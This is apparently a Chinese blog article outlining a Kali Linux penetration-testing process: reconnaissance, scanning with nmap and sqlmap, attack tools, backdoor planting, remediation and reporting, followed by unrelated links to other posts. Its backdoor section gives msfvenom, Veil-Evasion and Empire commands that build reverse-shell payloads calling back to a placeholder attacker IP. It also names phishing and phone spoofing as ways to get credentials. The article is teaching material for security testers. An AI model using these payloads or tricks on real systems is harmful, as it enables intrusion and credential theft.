kali linux 基本渗透测试流程
渗透测试流程
1. 信息收集阶段
网络拓扑结构分析
- 使用nmap扫描目标网络,获取目标主机IP地址和开放端口信息
- 使用whois查询目标域名的注册信息和DNS服务器信息
- 使用nslookup查询目标域名的IP地址和子域名信息
- 使用traceroute获取目标主机的路由信息
- 使用ping测试目标主机的可达性和响应时间
- 使用社交工程学手段获取目标员工信息和组织架构信息
- 使用公开信息收集工具(如Shodan)查询目标网络的设备和服务信息
域名信息收集
- 使用whois工具获取目标域名的注册信息,包括注册人、注册商、注册日期、过期日期等。
- 使用nslookup或dig工具查询目标域名的DNS记录,获取目标域名的IP地址。
- 使用子域名枚举工具,如sublist3r、amass等,获取目标域名的所有子域名。
- 使用网站爬虫工具,如SpiderFoot、theHarvester等,获取目标域名关联的其他域名、邮箱、IP地址等信息。
端口扫描
- 使用nmap进行端口扫描,命令如下:
nmap -sS -p 1-65535 target_ip
- 结果示例:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-01 15:34 CST
Nmap scan report for target_ip
Host is up (0.12s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
2049/tcp  open  nfs
3306/tcp  open  mysql
5432/tcp  open  postgresql
8080/tcp  open  http-proxy
20000/tcp open  dnp
- 解释:
- -sS参数表示使用TCP SYN扫描方式;
- -p参数表示扫描的端口范围,这里扫描了1-65535所有端口;
- target_ip为目标IP地址。
 
操作系统识别
- 使用nmap扫描目标IP地址,获取目标主机开放的端口和服务信息。
- 使用nmap的操作系统识别功能,获取目标主机所使用的操作系统类型和版本信息。
- 使用whois查询目标域名的注册信息,获取目标公司、联系人等信息。
- 使用搜索引擎(如Google)搜索目标公司的网站、子域名等信息,获取目标公司的业务范围、技术架构等信息。
- 使用社交媒体(如LinkedIn)搜索目标公司的员工信息,获取目标公司的组织结构、职责分工等信息。
服务识别
- 使用nmap扫描目标IP地址,识别目标主机开放的端口和运行的服务。
- 使用WhatWeb扫描目标网站,识别目标网站所使用的Web框架、CMS、Web服务器等信息。
- 使用whois查询目标域名的注册信息,获取目标组织的联系方式和技术架构等信息。
- 使用Google Hacking Database搜索目标组织的敏感信息,如用户名、密码、配置文件等。
Web应用程序识别
- 使用搜索引擎和目录枚举工具,如Google Hacking Database、Baidu、Shodan等,来发现目标网站的存在。
- 使用Whois查询工具获取目标网站的所有者信息。
- 使用DNS查询工具来枚举目标网站的子域名。
- 使用端口扫描工具,如Nmap、Masscan等,来确定目标网站上开放的端口和服务。
- 使用Web应用程序识别工具,如Wappalyzer、WhatWeb等,来确定目标网站上使用的技术栈、框架和CMS等。
表格示例:
| 工具名称 | 功能描述 | 
|---|---|
| Google Hacking Database | 使用Google搜索语法来发现目标网站的存在 | 
| Whois查询工具 | 获取目标网站的所有者信息 | 
| DNS查询工具 | 枚举目标网站的子域名 | 
| 端口扫描工具 | 确定目标网站上开放的端口和服务 | 
| Web应用程序识别工具 | 确定目标网站上使用的技术栈、框架和CMS等 | 
敏感信息收集- 通过搜索引擎查找相关公司网站,获取公司名称、业务范围、联系方式等敏感信息。
- 使用WHOIS查询工具,获取目标网站的注册人、注册邮箱、IP地址等敏感信息。
- 使用社交媒体平台,如LinkedIn、Facebook等,查找目标公司的员工信息、职位等敏感信息。
- 使用在线工具,如网站漏洞扫描器、端口扫描器等,获取目标网站的漏洞信息、开放端口等敏感信息。
- 通过邮件伪造、电话欺骗等方式,获取目标公司的敏感信息,如员工账号、密码等。
2. 漏洞扫描阶段
漏洞扫描工具选择
- Nmap - nmap -sS -sV -O target_IP
 
- Nessus - 打开Nessus扫描器,输入目标IP地址,选择扫描模板,开始扫描
 
- OpenVAS - 打开OpenVAS扫描器,输入目标IP地址,选择扫描模板,开始扫描
 
- Burp Suite - 打开Burp Suite,配置代理,使用Burp Scanner进行扫描
 
- Metasploit - 打开Metasploit,使用auxiliary模块进行扫描
 
- Acunetix - 打开Acunetix,输入目标URL,选择扫描模板,开始扫描
 
- sqlmap - sqlmap -u "target_URL" --dbs
 
漏洞扫描目标选择
- 漏洞扫描目标选择示例:
| 目标 | 描述 | 
|---|---|
| Web应用程序 | 使用Burp Suite、OWASP ZAP等工具对Web应用程序进行扫描 | 
| 网络设备 | 使用Nmap、Angry IP Scanner等工具对网络设备进行扫描 | 
| 操作系统 | 使用OpenVAS、Nessus等工具对操作系统进行扫描 | 
| 数据库 | 使用SQLMap等工具对数据库进行扫描 | 
| 无线网络 | 使用Aircrack-ng等工具对无线网络进行扫描 | 
漏洞扫描结果分析
- 漏洞扫描结果分析:
| 漏洞名称 | 漏洞等级 | 影响范围 | 建议处理方案 | 
|---|---|---|---|
| SQL注入漏洞 | 高 | 影响整个网站 | 对输入参数进行过滤和转义处理,使用参数化查询 | 
| XSS漏洞 | 中 | 影响用户信息安全 | 对用户输入进行过滤和转义处理,使用CSP等防护措施 | 
| 未授权访问漏洞 | 低 | 影响部分功能 | 加强权限控制,限制敏感操作的访问权限 | 
漏洞验证- 漏洞验证:
| 漏洞名称 | 漏洞描述 | 验证方式 | 
|---|---|---|
| SQL注入漏洞 | 通过注入恶意代码来获取数据库中的敏感信息或者修改数据库内容 | 在输入框中输入特定的SQL语句,观察网站是否返回异常信息 | 
| XSS漏洞 | 恶意用户在网站上插入脚本代码,当其他用户访问该页面时,脚本会被执行 | 在输入框中输入特定的脚本代码,观察网站是否执行该脚本 | 
| 文件上传漏洞 | 允许用户上传文件,但没有对上传文件进行充分的验证和过滤,攻击者可以上传恶意文件 | 上传包含恶意代码的文件,观察网站是否正常处理该文件 | 
3. 渗透攻击阶段
渗透攻击工具选择
- 渗透攻击工具选择: - 工具名称 - 用途 - Nmap - 端口扫描 - Metasploit - 漏洞利用 - Burp Suite - Web应用程序攻击 - Aircrack-ng - 无线网络攻击 - Hydra - 密码破解 - John the Ripper - 密码破解 - Sqlmap - SQL注入攻击 - Wireshark - 网络流量分析 - Netcat - 网络工具 - Hping - 网络工具 
渗透攻击方式选择
- 渗透攻击方式选择: - 攻击方式 - 描述 - 社交工程学 - 通过社交技巧获取目标系统的信息,如钓鱼邮件、电话诈骗等。 - 漏洞利用 - 利用已知或未知漏洞攻击目标系统,如使用Metasploit框架等。 - 密码破解 - 尝试破解目标系统的密码,如使用密码字典、暴力破解等。 - 物理攻击 - 直接进入目标系统所在的物理环境进行攻击,如进入机房、拆卸硬件等。 
渗透攻击结果分析
- 渗透攻击结果分析:
- 通过渗透测试工具获取的漏洞信息,如nmap、nessus等工具的扫描结果。
- 通过手工测试获取的漏洞信息,如SQL注入、XSS等漏洞。
- 分析漏洞的危害程度,如是否可利用、对系统的影响等。
- 提出修复建议,如修补漏洞、升级补丁等。
 
渗透攻击后门植入- 使用Metasploit生成反向TCP后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > backdoor.exe
- 使用Veil-Evasion生成反向TCP后门: - veil-evasion.py
 usestager/windows/meterpreter/rev_tcp
 set LHOST <attacker IP>
 set LPORT <attacker port>
 generate
 
- 使用Empire生成反向TCP后门: - listeners
 uselistener http
 set Name http
 set Host <attacker IP>
 set Port <attacker port>
 execute
 back
 usestager windows/launcher_bat
 set Listener http
 execute
 
表格:
| 后门类型 | 植入方法 | 
|---|---|
| Webshell | 通过漏洞上传Webshell,或者在服务器上直接创建Webshell | 
| Rootkit | 修改系统内核或者驱动程序 | 
| Trojan | 通过社会工程学手段诱骗用户下载安装 | 
| RAT | 通过漏洞或者社会工程学手段植入远程控制软件 | 
4. 漏洞修复阶段
漏洞修复建议
- 漏洞修复建议:
- 修复漏洞前先备份数据和系统。
- 优先修复高危漏洞,其次再修复中危和低危漏洞。
- 修复漏洞时要注意不要引入新的漏洞。
- 对修复后的系统进行再次测试,以确保漏洞已经被修复。
- 对修复后的系统进行监控和日志审计,及时发现新的漏洞或攻击行为。
 
漏洞修复跟踪- 漏洞修复跟踪:
| 漏洞编号 | 漏洞描述 | 修复状态 | 修复人员 | 修复时间 | 
|---|---|---|---|---|
| 001 | SQL注入漏洞 | 已修复 | 张三 | 2021-05-01 | 
| 002 | XSS漏洞 | 未修复 | 李四 | - | 
| 003 | 文件上传漏洞 | 已修复 | 王五 | 2021-05-02 | 
5. 报告编写阶段
渗透测试报告结构
- 渗透测试报告结构:
标题 内容 1. 引言 对渗透测试的目的、范围、方法、工具等进行说明 2. 测试过程 对测试的步骤、方法、结果进行详细描述 3. 漏洞分析 对测试中发现的漏洞进行分析、评估和分类 4. 风险评估 对漏洞的风险进行评估和分类,并提出相应的建议和措施 5. 结论和建议 对测试结果进行总结,并提出相应的建议和措施 6. 附录 包括测试过程中的截图、日志、代码等详细信息 
报告编写要点
- 报告编写要点:
- 对测试结果进行详细描述,包括测试的目标、范围、方法和结果。
- 列出所有发现的漏洞和安全问题,并按照优先级进行分类。
- 对每个漏洞或安全问题进行详细描述,包括其影响、利用方法和建议的修复方案。
- 提供截图、漏洞利用脚本等支持证据。
- 针对每个漏洞或安全问题,提供相应的修复建议并给出修复建议的优先级。
- 附上测试人员的联系方式,以便在需要时进行进一步沟通。
 
报告提交及漏洞公开风险评估- 报告提交及漏洞公开风险评估示例:
- 将渗透测试报告提交给客户,并说明测试过程中发现的漏洞及其风险等级。
- 对于高风险漏洞,需要在报告中提供详细的修复建议,并督促客户及时修复。
- 在报告中评估漏洞公开的风险,对于可能会导致严重后果的漏洞,需要在报告中说明风险,并建议客户尽快修复。同时,需要提醒客户在修复之前谨慎处理漏洞信息,避免泄露给攻击者。
kali linux 基本渗透测试流程的更多相关文章
- KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础
		原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ... 
- Kali Linux Web 渗透测试— 第十二课-websploit
		Kali Linux Web 渗透测试— 第十二课-websploit 文/玄魂 目录 Kali Linux Web 渗透测试— 第十二课-websploit..................... ... 
- Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码
		Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码 文/玄魂 目录 Kali Linux Web 渗透测试视频教—第二十课-利用 ... 
- Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter
		Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ... 
- KALI LINUX WEB 渗透测试视频教程—第16课  BEEF基本使用
		Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用............... ... 
- Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击
		Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ... 
- Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗、嗅探、dns欺骗、session劫持
		Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗.嗅探.dns欺骗.session劫持 文/玄魂 目录 Kali Linux Web 渗透测试—第十四课-arp欺骗.嗅探.dns欺 ... 
- Kali Linux Web 渗透测试视频教程— 第十三课-密码破解
		Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ... 
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
		Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ... 
- Kali Linux Web 渗透测试视频教程—第十课 w3af
		Kali Linux Web 渗透测试视频教程—第十课 w3af 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/24/kali-linux-web- ... 
随机推荐
- software engineering homework 1
			1. 回顾你过去将近3年的学习经历 当初你报考的时候,是真正喜欢计算机这个专业吗? 你现在后悔选择了这个专业吗? 你认为你现在最喜欢的领域是什么(可以是计算机的也可以是其它领域)? 答:一开始感觉编程 ... 
- 3月1日Android开学学习
			Android开发的简单控件 1.文本显示 2.视图基础 3.常用布局 4.按钮触控 5.图像显示 文本显示 (1)设置文本内容 1.在XML文件中通过属性Android:text设置文本 Andro ... 
- 一,创建一个electron应用程序
			之前我们已经用html+css+js创建了一个项目,现在将这个项目用electron以应用程序呈现. 1,首先新建一个文件夹,从终端进入该文件夹: 2,在该文件夹下执行npm init,初始化该项目. ... 
- vue-封装组件-结合vant实现点击按钮弹出泡泡(Popover)事件控制多个泡泡出现时,弹出对应的泡泡
			<template> <div class="sale-share-box"> <span class="sale-share-btn&qu ... 
- 调试以及Linq查询
			1.调试的步骤 调试快捷键: F10逐过程(不会进入函数内部,直接获取函数运行结果) F11逐语句(会进入函数) F5执行,如果调试中多个断点,按F5执行到下一个断点 出现黄色箭头表示执行到这一句,但 ... 
- PRVF-4007 : User equivalence check failed for user "grid"
			PRVF-4007 : User equivalence check failed for user "grid" 问题:Oracle安装Grid Infrastructure之前 ... 
- KMP算法学习记录
			Foreword: 初学KMP匹配算法,不得其门,总感觉自己想,想不出来,看书上文字解释晦涩难懂.不能准确的捕捉算法设计时候的灵光和思路 .于是自己试着完成了一遍,现将过程记录下来,以供复习. Con ... 
- HarmonyOS_Text_Image
			Text组件 ohos:属性 id="$+id:text_helloworld" #在程序中控制,需要id="$+id:name",转回MainAbilityS ... 
- .net 反射简单介绍
			1.什么是反射 反射是.NET中的重要机制,通过反射,可以在运行时获得程序或程序集中每一个类型(包括类.结构.委托.接口和枚举等)的成员和成员的信息.有了反射,即可对每一个类型了如指掌.另外我还可以直 ... 
- C++ vector的emplace_back函数
			C++ STL的vector相信大家一定都知道,它是一个一般用来当做可变长度列表的类.在C++11之前,一般给vector插入新元素用得都是push_back函数,比如下面这样: std::vecto ... 
